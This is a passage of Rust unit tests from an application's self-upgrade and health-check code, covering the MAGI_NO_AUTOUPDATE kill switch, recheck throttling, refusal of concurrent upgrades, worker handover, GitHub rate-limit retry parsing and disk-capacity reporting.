24625        beat.worker_protocol = None;
24626        beat.pid = 4321;
24627        beat.updated_at = jiff::Timestamp::now();
24628        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24629            .expect("publish a heartbeat");
24630
24631        let res = fx.post("/api/upgrade", None).await;
24632        assert_eq!(res.status, 409);
24633    }
24634
24635    /// [`should_spawn_recheck`] must refuse for the same two reasons
24636    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24637    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24638    /// Purely a predicate over config and the environment - no network, no
24639    /// disk, no runtime - so unlike the fixture-based tests around it this
24640    /// one needs neither.
24641    #[test]
24642    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24643        assert!(!should_spawn_recheck(&crate::config::Update {
24644            mode: UpdateMode::Off,
24645            interval: None,
24646            auto_restart: false,
24647        }));
24648
24649        // SAFETY: single-threaded as far as this variable goes, the same
24650        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24651        unsafe {
24652            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24653        }
24654        let killed = should_spawn_recheck(&crate::config::Update {
24655            mode: UpdateMode::Notify,
24656            interval: None,
24657            auto_restart: false,
24658        });
24659        unsafe {
24660            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24661        }
24662        assert!(
24663            !killed,
24664            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24665             one-time startup check"
24666        );
24667
24668        assert!(should_spawn_recheck(&crate::config::Update {
24669            mode: UpdateMode::Notify,
24670            interval: None,
24671            auto_restart: false,
24672        }));
24673    }
24674
24675    /// [`recheck_poll_period`] must track a configured `[update] interval`
24676    /// shorter than its own default ceiling - a fixed sleep here would leave
24677    /// an operator's short interval waiting on the next wake-up instead of on
24678    /// `should_check`, which is the same bug this whole task exists to fix,
24679    /// just one level down.
24680    #[test]
24681    fn recheck_poll_period_tracks_a_short_configured_interval() {
24682        let short = crate::config::Update {
24683            mode: UpdateMode::Notify,
24684            interval: Some("1m".to_owned()),
24685            auto_restart: false,
24686        };
24687        let period = recheck_poll_period(&short);
24688        assert!(
24689            period <= Duration::from_secs(30),
24690            "a one-minute interval must wake the task far sooner than the \
24691             default ceiling, or the deck would not notice within the \
24692             interval the operator configured: got {period:?}"
24693        );
24694
24695        let default = crate::config::Update {
24696            mode: UpdateMode::Notify,
24697            interval: None,
24698            auto_restart: false,
24699        };
24700        assert_eq!(
24701            recheck_poll_period(&default),
24702            UPDATE_RECHECK_POLL_MAX,
24703            "the default day-long interval should poll at the (capped) \
24704             ceiling rather than needlessly often"
24705        );
24706    }
24707
24708    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24709    /// same throttle `updater::Checker::should_check` already gives the
24710    /// CLI's notify mode. Built over an explicit state file via
24711    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24712    /// write the operator's real `last_update_check.json` - and therefore
24713    /// cannot flake on whatever that file happens to say on the machine
24714    /// running the test.
24715    #[test]
24716    fn recheck_skips_the_network_before_the_interval_elapses() {
24717        let dir = TempDir::new().expect("temp dir");
24718        let path = dir.path().join("state.json");
24719        let state = kaishin::UpdateCheckState {
24720            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24721            last_known_latest: None,
24722            last_known_url: None,
24723        };
24724        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24725
24726        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24727        assert!(
24728            !update_recheck_due(&checker, None),
24729            "a check made moments ago must not be repeated before the \
24730             configured interval elapses"
24731        );
24732    }
24733
24734    /// An upgrade this deck already started must not be raced by a recheck
24735    /// that discovers a newer release mid-install - regardless of what
24736    /// `should_check` says, which is why the state file here is missing
24737    /// entirely: read alone, that alone would answer "never checked, go
24738    /// ahead".
24739    #[test]
24740    fn recheck_defers_to_an_upgrade_already_in_flight() {
24741        let dir = TempDir::new().expect("temp dir");
24742        let path = dir.path().join("state.json");
24743        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24744        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24745
24746        assert!(
24747            !update_recheck_due(&checker, Some(&progress)),
24748            "a recheck must not run while an upgrade this deck started is \
24749             still moving"
24750        );
24751    }
24752
24753    #[tokio::test]
24754    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24755        // The same env var the background check honours (`disabled_by_env`)
24756        // must also stop a button press before it ever calls
24757        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24758        // means "never contact GitHub from this process", and a tap on the
24759        // upgrade button must not override that any more than a broken
24760        // `magi.toml` may. Left unset, this fixture's default config would
24761        // otherwise reach a real, unauthenticated GitHub call.
24762        //
24763        // SAFETY: single-threaded as far as this variable goes - nothing else
24764        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24765        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24766        unsafe {
24767            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24768        }
24769        let fx = Fixture::start().await;
24770        let res = fx.post("/api/upgrade", None).await;
24771        unsafe {
24772            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24773        }
24774        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24775        let body = res.json();
24776        assert!(body["to"].is_null(), "there was no release to move to");
24777        assert!(body["parked"].is_null(), "and nothing was parked");
24778        assert!(
24779            body["detail"]
24780                .as_str()
24781                .unwrap()
24782                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24783            "{body:?}"
24784        );
24785    }
24786
24787    #[test]
24788    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24789        use AutoUpgradeDecision::{Skip, Trigger};
24790        let mut cfg = Update::default();
24791        assert!(matches!(
24792            auto_upgrade_decision(&cfg, false, false, "v2", None),
24793            Skip(_)
24794        ));
24795        cfg.auto_restart = true;
24796        assert_eq!(
24797            auto_upgrade_decision(&cfg, false, false, "v2", None),
24798            Trigger
24799        );
24800        for (disabled, moving, failed) in [
24801            (true, false, None),
24802            (false, true, None),
24803            (false, false, Some("v2")),
24804        ] {
24805            assert!(matches!(
24806                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24807                Skip(_)
24808            ));
24809        }
24810        assert_eq!(
24811            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24812            Trigger
24813        );
24814        cfg.mode = UpdateMode::Off;
24815        assert!(matches!(
24816            auto_upgrade_decision(&cfg, false, false, "v2", None),
24817            Skip(_)
24818        ));
24819    }
24820
24821    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24822        Box::pin(async { anyhow::bail!("test installer failed") })
24823    }
24824
24825    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24826        std::sync::LazyLock::new(Mutex::default);
24827
24828    fn test_replace_and_signal_handover(
24829        home: PathBuf,
24830    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24831        Box::pin(async move {
24832            if let Some(mut progress) = updater::read_progress(&home) {
24833                progress.advance(updater::Stage::Replaced);
24834                updater::write_progress_logged(&home, &progress);
24835            }
24836            if let Some(signal) = TEST_AUTO_HANDOVERS
24837                .lock()
24838                .unwrap_or_else(PoisonError::into_inner)
24839                .remove(&home)
24840            {
24841                signal.notify_one();
24842            }
24843            Ok(())
24844        })
24845    }
24846
24847    #[tokio::test]
24848    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24849        let home = TempDir::new().unwrap();
24850        let mut ui = idle_ui(&home);
24851        ui.repo = home.path().to_path_buf();
24852        // Every successful trigger in this test uses this seam, never the installer.
24853        ui.upgrade_runner = fail_test_upgrade;
24854        let ui = Arc::new(ui);
24855        let latest = |tag: &str| {
24856            Some(kaishin::LatestRelease {
24857                tag_name: tag.into(),
24858                html_url: String::new(),
24859            })
24860        };
24861
24862        // Opt-in default (`auto_restart = false`) does nothing.
24863        assert_eq!(
24864            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24865                .await
24866                .status(),
24867            StatusCode::NO_CONTENT
24868        );
24869        assert!(updater::read_progress(home.path()).is_none());
24870
24871        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24872        std::fs::write(
24873            home.path().join("magi.toml"),
24874            "[update]\nmode = \"off\"\nauto_restart = true\n",
24875        )
24876        .unwrap();
24877        assert_eq!(
24878            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24879                .await
24880                .status(),
24881            StatusCode::NO_CONTENT
24882        );
24883        assert!(updater::read_progress(home.path()).is_none());
24884
24885        std::fs::write(
24886            home.path().join("magi.toml"),
24887            "[update]\nauto_restart = true\n",
24888        )
24889        .unwrap();
24890
24891        // Missing detected release skips without re-querying.
24892        assert_eq!(
24893            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24894                .await
24895                .status(),
24896            StatusCode::NO_CONTENT
24897        );
24898        assert!(updater::read_progress(home.path()).is_none());
24899
24900        // Legacy embedded scheduler is still refused.
24901        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24902        std::fs::write(
24903            home.path().join("daemon.json"),
24904            serde_json::json!({
24905                "schema": 2,
24906                "pid": legacy_pid,
24907                "updated_at": Timestamp::now().to_string(),
24908                "idle": true,
24909            })
24910            .to_string(),
24911        )
24912        .unwrap();
24913        assert_eq!(
24914            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24915                .await
24916                .status(),
24917            StatusCode::CONFLICT
24918        );
24919        assert!(updater::read_progress(home.path()).is_none());
24920        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24921
24922        // Concurrent upgrade guard refuses while the request gate is held.
24923        let gate = ui.upgrade_gate.lock().await;
24924        assert_eq!(
24925            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24926                .await
24927                .status(),
24928            StatusCode::CONFLICT
24929        );
24930        drop(gate);
24931
24932        // Active chat turns no longer defer automatic upgrades.
24933        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24934        assert_eq!(
24935            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24936                .await
24937                .status(),
24938            StatusCode::ACCEPTED
24939        );
24940        let progress = updater::read_progress(home.path()).unwrap();
24941        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24942        assert_eq!(progress.stage, updater::Stage::Downloading);
24943        assert_eq!(
24944            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24945                .await
24946                .status(),
24947            StatusCode::CONFLICT
24948        );
24949        assert!(progress.parked_run.is_none());
24950        assert!(ui.start_detached_loop().await.is_err());
24951        assert!(ui.start_loop(None).is_err());
24952        assert!(ui.begin_resume("late").is_err());
24953        assert_eq!(
24954            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24955                .await
24956                .status(),
24957            StatusCode::NO_CONTENT
24958        );
24959        tokio::time::timeout(Duration::from_secs(2), async {
24960            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24961                tokio::task::yield_now().await;
24962            }
24963        })
24964        .await
24965        .unwrap();
24966        let progress = updater::read_progress(home.path()).unwrap();
24967        assert_eq!(progress.stage, updater::Stage::Failed);
24968
24969        // Same-release failure is suppressed for automatic retries.
24970        assert_eq!(
24971            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24972                .await
24973                .status(),
24974            StatusCode::NO_CONTENT
24975        );
24976
24977        // Manual retry still uses the shared path for the same tag.
24978        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24979        assert_eq!(
24980            finish_upgrade_request(&ui, result).status(),
24981            StatusCode::ACCEPTED
24982        );
24983        assert_eq!(
24984            updater::read_progress(home.path()).unwrap().trigger,
24985            updater::UpgradeTrigger::Manual
24986        );
24987        tokio::time::timeout(Duration::from_secs(2), async {
24988            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24989                tokio::task::yield_now().await;
24990            }
24991        })
24992        .await
24993        .unwrap();
24994
24995        // A newer release tag clears suppression for automatic updates.
24996        assert_eq!(
24997            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24998                .await
24999                .status(),
25000            StatusCode::ACCEPTED
25001        );
25002        assert_eq!(
25003            updater::read_progress(home.path()).unwrap().trigger,
25004            updater::UpgradeTrigger::Auto
25005        );
25006        tokio::time::timeout(Duration::from_secs(2), async {
25007            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25008                tokio::task::yield_now().await;
25009            }
25010        })
25011        .await
25012        .unwrap();
25013    }
25014
25015    #[tokio::test]
25016    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25017        let home = TempDir::new().unwrap();
25018        std::fs::write(
25019            home.path().join("magi.toml"),
25020            "[update]\nauto_restart = true\n",
25021        )
25022        .unwrap();
25023        let mut ui = idle_ui(&home);
25024        ui.repo = home.path().to_path_buf();
25025        ui.upgrade_runner = test_replace_and_signal_handover;
25026        let ui = Arc::new(ui);
25027
25028        let workers = [
25029            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25030            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25031            (
25032                "333333",
25033                3_u64,
25034                "daemon-service",
25035                "service:maintenance",
25036                41_003_u32,
25037            ),
25038        ];
25039        let mut exec_leases = Vec::new();
25040        for (id, sequence, kind, key, pid) in workers {
25041            let dir = home.path().join("workers/jobs").join(id);
25042            std::fs::create_dir_all(&dir).unwrap();
25043            let payload = if kind == "chat" {
25044                serde_json::json!({ "talk": "active-chat" })
25045            } else {
25046                serde_json::json!({})
25047            };
25048            let job = crate::worker::Job {
25049                id: id.into(),
25050                sequence,
25051                kind: kind.into(),
25052                key: key.into(),
25053                payload,
25054                generation: "gen-old".into(),
25055                version: Some("0.1.0".into()),
25056                status: crate::worker::Status::Running,
25057                result: None,
25058                pid: Some(pid),
25059                created_at: 1,
25060                finished_at: None,
25061            };
25062            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25063            exec_leases.push(crate::worker::execution_lease_for_test(
25064                &dir.join("live.lock"),
25065            ));
25066        }
25067        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25068            .unwrap()
25069            .expect("free task lease");
25070        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25071            .unwrap()
25072            .expect("free chat worker lease");
25073        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25074            .unwrap()
25075            .expect("free service lease");
25076        let chat_turn = ui
25077            .begin_talk_turn("active-chat-turn")
25078            .expect("claim chat turn")
25079            .expect("free chat turn");
25080        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25081
25082        // An unreadable reservation must defer replacement, not look like an
25083        // idle scheduler. Once repaired, the same release can still proceed.
25084        let corrupt = home.path().join("workers/jobs/444444");
25085        std::fs::create_dir_all(&corrupt).unwrap();
25086        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25087        let latest = || {
25088            Some(kaishin::LatestRelease {
25089                tag_name: "v999.0.0".into(),
25090                html_url: String::new(),
25091            })
25092        };
25093        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25094        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25095        assert!(updater::read_progress(home.path()).is_none());
25096        std::fs::remove_dir_all(corrupt).unwrap();
25097
25098        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25099            .await
25100            .expect("bind loopback");
25101        let address = listener.local_addr().expect("address");
25102        let served =
25103            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25104
25105        let handover_signal = Arc::new(Notify::new());
25106        TEST_AUTO_HANDOVERS
25107            .lock()
25108            .unwrap_or_else(PoisonError::into_inner)
25109            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25110
25111        let admission = ui.begin_admission().expect("admit");
25112        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25113        assert_eq!(response.status(), StatusCode::ACCEPTED);
25114        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25115            .await
25116            .expect("auto upgrade runner must reach handover");
25117        let replaced = updater::read_progress(home.path()).unwrap();
25118        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25119        assert_eq!(replaced.stage, updater::Stage::Replaced);
25120
25121        let successor_started = std::sync::atomic::AtomicBool::new(false);
25122        let handover = hand_over(home.path(), &ui.admissions, served, || {
25123            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25124            Ok(1)
25125        });
25126        tokio::pin!(handover);
25127        // Short admission drain still waits for an in-flight persistence/reservation guard.
25128        std::future::poll_fn(|cx| {
25129            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25130            std::task::Poll::Ready(())
25131        })
25132        .await;
25133        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25134        assert!(ui.begin_admission().is_err());
25135
25136        drop(admission);
25137        tokio::time::timeout(Duration::from_secs(2), handover)
25138            .await
25139            .expect("automatic handover must not wait for active workers")
25140            .expect("handover");
25141        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25142
25143        let successor = bind_waiting(address)
25144            .await
25145            .expect("successor binds released address");
25146        assert_eq!(successor.local_addr().unwrap(), address);
25147
25148        let restarting = updater::read_progress(home.path()).unwrap();
25149        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25150        assert_eq!(restarting.stage, updater::Stage::Restarting);
25151        assert!(restarting.parked_run.is_none());
25152        assert!(restarting.parked_talks.is_empty());
25153
25154        let active_after = crate::worker::observe_active(home.path()).unwrap();
25155        assert_eq!(active_after.len(), 3);
25156        for (id, _, kind, key, pid) in workers {
25157            let job = active_after
25158                .iter()
25159                .find(|job| job.id == id)
25160                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25161            assert_eq!(job.kind, kind);
25162            assert_eq!(job.pid, Some(pid));
25163            assert_eq!(job.generation, "gen-old");
25164            assert_eq!(job.status, crate::worker::Status::Running);
25165            assert!(
25166                crate::worker::control(home.path(), key).unwrap().is_none(),
25167                "no park/stop control may be requested for {key}"
25168            );
25169        }
25170        assert!(
25171            !home.path().join("worker-parks").exists(),
25172            "automatic handover must never request worker parks"
25173        );
25174        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25175        assert!(
25176            crate::worker::try_lease(home.path(), "task:active-task")
25177                .unwrap()
25178                .is_none()
25179        );
25180        assert!(
25181            crate::worker::try_lease(home.path(), "chat:active-chat")
25182                .unwrap()
25183                .is_none()
25184        );
25185        assert!(
25186            crate::worker::try_lease(home.path(), "service:maintenance")
25187                .unwrap()
25188                .is_none()
25189        );
25190
25191        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25192        assert!(
25193            log.contains("auto-upgrade: beginning update and restart"),
25194            "{log}"
25195        );
25196        assert!(!log.contains("waiting for idle"), "{log}");
25197        assert!(!log.contains("idle;"), "{log}");
25198
25199        drop(successor);
25200        drop(chat_turn);
25201        drop(service_lease);
25202        drop(chat_lease);
25203        drop(task_lease);
25204        drop(exec_leases);
25205    }
25206
25207    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25208        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25209        p.stage = stage;
25210        p
25211    }
25212
25213    #[test]
25214    fn busy_stages_match_the_ui_set() {
25215        use crate::updater::Stage;
25216        assert!(APP_JS.contains(
25217            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25218        ));
25219        for s in [
25220            Stage::Downloading,
25221            Stage::Replaced,
25222            Stage::Parking,
25223            Stage::Restarting,
25224        ] {
25225            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25226        }
25227        for s in [Stage::Done, Stage::Failed] {
25228            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25229        }
25230        assert!(upgrade_in_motion(None).is_none());
25231    }
25232
25233    #[tokio::test]
25234    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25235        use crate::updater::Stage;
25236        for stage in [
25237            Stage::Downloading,
25238            Stage::Replaced,
25239            Stage::Parking,
25240            Stage::Restarting,
25241        ] {
25242            let fx = Fixture::start().await;
25243            let seeded = seeded_progress(stage);
25244            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25245            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25246                .expect("read");
25247
25248            let res = fx.post("/api/upgrade", None).await;
25249            assert_eq!(res.status, 409, "{stage:?}");
25250            let err = res.json()["error"].as_str().unwrap().to_owned();
25251            assert!(err.contains("already in progress"), "{err}");
25252            assert!(err.contains(stage.as_str()), "{err}");
25253
25254            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25255                .expect("read");
25256            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25257            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25258                .unwrap_or_default();
25259            assert!(!log.contains("signalling HANDOVER"), "{log}");
25260        }
25261    }
25262
25263    #[test]
25264    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25265        assert_eq!(
25266            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25267            Some(3723)
25268        );
25269        assert_eq!(
25270            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25271            Some(60)
25272        );
25273        assert_eq!(
25274            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25275            Some(0)
25276        );
25277        for message in [
25278            "permission denied",
25279            "GitHub API rate limit exceeded",
25280            "GitHub rate limit (resets in unknown)",
25281            "GitHub rate limit (resets in 18446744073709551615d)",
25282        ] {
25283            assert_eq!(upgrade_retry_after(message), None, "{message}");
25284        }
25285    }
25286
25287    #[tokio::test]
25288    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25289        let home = TempDir::new().unwrap();
25290        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25291        ui.start_loop(None).unwrap();
25292        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25293        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25294        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25295        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25296        let response = finish_upgrade_request(&ui, result);
25297        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25298        assert_eq!(response.headers()["retry-after"], "120");
25299        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25300            .await
25301            .unwrap();
25302        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25303        assert!(body["error"].as_str().unwrap().contains(reason));
25304        assert_eq!(body["retry_after_secs"], 120);
25305        assert!(body["retry_at"].as_u64().is_some());
25306        for _ in 0..2 {
25307            let view = health(State(ui.clone())).await.unwrap().0;
25308            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25309            assert_eq!(failure, body);
25310        }
25311        assert_eq!(
25312            std::fs::read(updater::progress_path(home.path())).unwrap(),
25313            before
25314        );
25315        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25316        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25317        // A conflicting request must not erase the actionable earlier failure.
25318        let gate = ui.upgrade_gate.lock().await;
25319        assert_eq!(
25320            upgrade_post(State(ui.clone())).await.status(),
25321            StatusCode::CONFLICT
25322        );
25323        drop(gate);
25324        assert!(
25325            health(State(ui.clone()))
25326                .await
25327                .unwrap()
25328                .0
25329                .upgrade_request_error
25330                .is_some()
25331        );
25332        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25333        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25334        assert!(
25335            health(State(ui.clone()))
25336                .await
25337                .unwrap()
25338                .0
25339                .upgrade_request_error
25340                .is_none()
25341        );
25342        let live = ui.lock_loop().live.take().unwrap();
25343        live.stop.stop();
25344        live.handle.await.unwrap();
25345    }
25346
25347    #[tokio::test]
25348    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25349        use crate::updater::Stage;
25350        let repo = TempDir::new().expect("repo dir");
25351        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25352            .expect("write magi.toml");
25353        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25354        for stage in [Stage::Done, Stage::Failed] {
25355            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25356            let res = fx.post("/api/upgrade", None).await;
25357            assert_eq!(res.status, 200, "{stage:?}");
25358        }
25359        // No record at all, and the gate was released by the earlier calls.
25360        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25361        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25362    }
25363
25364    #[tokio::test]
25365    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25366        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25367        // and the route answers from its own logic.
25368        //
25369        // This test used to lean on the fixture's placeholder repo failing
25370        // config discovery, which left `mode = "notify"` - and a live,
25371        // unauthenticated call to the GitHub releases API inside a unit test.
25372        // GitHub allows 60 of those an hour per address, so the suite went red
25373        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25374        // long as somebody kept re-running it: every attempt spent another
25375        // request. Six reruns across four pull requests were charged to that
25376        // before it was read as a rate limit rather than a flake.
25377        //
25378        // What the assertion is about is the "already current" branch, which
25379        // is reached by there being no newer release *or* nowhere to look. The
25380        // second one needs no network and cannot be rate limited.
25381        let repo = TempDir::new().expect("repo dir");
25382        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25383            .expect("write magi.toml");
25384        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25385
25386        // It must answer 200 and leave the process alone: restarting for an
25387        // upgrade that did not happen parks the run in flight and drops every
25388        // connection to pay for nothing. A probe against a deck already on the
25389        // newest build did exactly that, which is how this case got its own
25390        // branch.
25391        let res = fx.post("/api/upgrade", None).await;
25392        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25393        let body = res.json();
25394        assert!(body["to"].is_null(), "there was no release to move to");
25395        assert!(body["parked"].is_null(), "and nothing was parked");
25396        assert!(
25397            body["detail"]
25398                .as_str()
25399                .unwrap()
25400                .contains("nothing restarted"),
25401            "{body:?}"
25402        );
25403    }
25404
25405    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25406        tokio::time::timeout(Duration::from_secs(5), async {
25407            while state.lock().unwrap().in_flight {
25408                tokio::task::yield_now().await;
25409            }
25410        })
25411        .await
25412        .expect("capacity scan finished");
25413    }
25414
25415    fn disk_test_scope(home: &FsPath) -> DiskScope {
25416        DiskScope {
25417            runs: home.join("runs"),
25418            worktrees: home.join("worktrees"),
25419            cache: Some(home.join("cache")),
25420        }
25421    }
25422
25423    fn known_disk_capacity() -> DiskCapacity {
25424        DiskCapacity {
25425            free_bytes: Some(100),
25426            runs_bytes: Some(200),
25427            worktrees_bytes: Some(300),
25428            cache_bytes: Some(400),
25429        }
25430    }
25431
25432    #[tokio::test]
25433    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25434        let home = TempDir::new().unwrap();
25435        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25436        let mut ui = delta_test_ui(home.path());
25437        let state = Arc::get_mut(&mut ui).unwrap();
25438        state.repo = home.path().to_owned();
25439        state.worktrees_root = home.path().join("worktrees");
25440        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25441        ui.monitor
25442            .worker_started
25443            .store(true, std::sync::atomic::Ordering::SeqCst);
25444        let cfg = deputy_config(&ui.repo);
25445        let scope = DiskScope::of(&ui, cfg.as_ref());
25446        let (started, reached) = tokio::sync::oneshot::channel();
25447        let (release, blocked) = std::sync::mpsc::channel();
25448        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25449            started.send(()).unwrap();
25450            // A failed request assertion must also let the blocking worker exit.
25451            let _ = blocked.recv();
25452            known_disk_capacity()
25453        });
25454        assert!(cold.runs_bytes.is_none());
25455        tokio::time::timeout(Duration::from_secs(5), reached)
25456            .await
25457            .unwrap()
25458            .unwrap();
25459
25460        let requests: Vec<_> = (0..4)
25461            .map(|_| {
25462                let ui = ui.clone();
25463                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25464            })
25465            .collect();
25466        // This is a causal independence check, not a five-second latency
25467        // benchmark. Leave room for unrelated filesystem/thread contention
25468        // when the entire unit suite runs concurrently.
25469        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25470            for request in requests {
25471                let view = request.await.unwrap();
25472                let disk = serde_json::to_value(view.disk).unwrap();
25473                assert!(disk["runs_bytes"].is_null());
25474                assert!(disk["worktrees_bytes"].is_null());
25475                // Free space is a cheap live observation even while the
25476                // recursive capacity measurement remains blocked.
25477                assert!(disk["free_bytes"].is_u64());
25478            }
25479        })
25480        .await;
25481        if completed.is_err() {
25482            release.send(()).unwrap();
25483            wait_for_disk_scan(&ui.monitor.disk).await;
25484            panic!("health must return while the measurement is causally blocked");
25485        }
25486        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25487        // No competing worker can have published while the first holds flight.
25488        assert!(
